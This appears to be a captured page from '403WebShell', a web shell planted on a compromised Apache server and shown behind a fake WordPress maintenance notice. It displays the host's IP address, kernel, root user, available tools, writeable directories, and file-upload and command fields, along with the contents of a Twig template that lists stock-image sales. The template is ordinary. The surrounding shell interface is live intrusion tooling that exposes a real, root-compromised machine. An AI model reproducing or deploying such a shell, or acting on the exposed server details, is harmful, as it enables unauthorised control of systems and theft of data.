WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/administrator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/administrator/all_sales.html.twig
{% extends 'contributor/layout.html.twig' %}

{% block title %}All Sales{% endblock %}
     {% block contributor_body %}
         <div class="app_main_inner">
             <div class="page_excerpt">
                 <h2 class="sr_heading_title">Recent Sales</h2>
                 <p class="sr_heading_intro">Records of recent images/video sales</p>
             </div>
             <div class="row">
                 <div class="col-lg-12">
                     <div class="mb-3 card">
                         <div class="card-header">
                             <div class="card-header-title">Stock sold (<span class="count">{{ soldItems|length }}</span>)</div>
                         </div>
                         <div class="datagrid ">
                             <table class="">
                                 <thead>
                                 <tr>
                                     <th>File</th>
                                     <th>ID</th>
                                     <th>Title</th>
                                     <th>License Type</th>
                                     <th>Price</th>
                                     <th>Date Purchased</th>
                                 </tr>
                                 </thead>
                                 <tbody>
                                 {#  @var item \App\Entity\InvoiceItems #}
                                 {% for item in soldItems %}
                                     <tr>
                                         <td data-label="File">
                                             <img src="{{ asset('uploads/stock/')~item.stock.thumbName }}" class="cart_thumbnail_small">
                                         </td>
                                         <td data-label="ID">{{ item.stock.formattedId ? item.stock.formattedId : item.stock.id }}</td>
                                         <td data-label="Title">{{ item.stock.title }}</td>
                                         <td data-label="License Type">
                                             {{ item.stock.licenceType is not null ? item.stock.licenceType : "Royalty Free" }}
                                             ({{ item.stock.licenceType == "Rights Managed" or item.stock.licenceType == "Rights Ready" ? "Large" : item.fileSize }})
                                             {% if item.exclusiveLicenceDuration %}
                                                 - Exclusive for
                                                 {% if item.exclusiveLicenceDuration / 12 >= 1 %}
                                                     {% if item.exclusiveLicenceDuration / 12 > 1  %}
                                                         {% set durationIn = " years" %}
                                                     {% else %}
                                                         {% set durationIn = " year" %}
                                                     {% endif %}
                                                 {% else %}
                                                     {% if item.exclusiveLicenceDuration > 1  %}
                                                         {% set durationIn = " months" %}
                                                     {% else %}
                                                         {% set durationIn = " month" %}
                                                     {% endif %}
                                                 {% endif %}
                                                 {{ item.exclusiveLicenceDuration / 12 >= 1 ? item.exclusiveLicenceDuration/12 ~ durationIn : item.exclusiveLicenceDuration ~ durationIn }}
                                             {% endif %}
                                         </td>
                                         <td data-label="Price">{{ item.amount|localizedcurrency('USD') }}</td>
                                         <td data-label="Date Purchased">{{ item.createdAt.format('d F y, h:i:s') }}</td>
                                     </tr>
                                 {% endfor %}
                                 </tbody>
                             </table>
                         </div>
                     </div>
                 </div>

             </div>
         </div>
     {% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit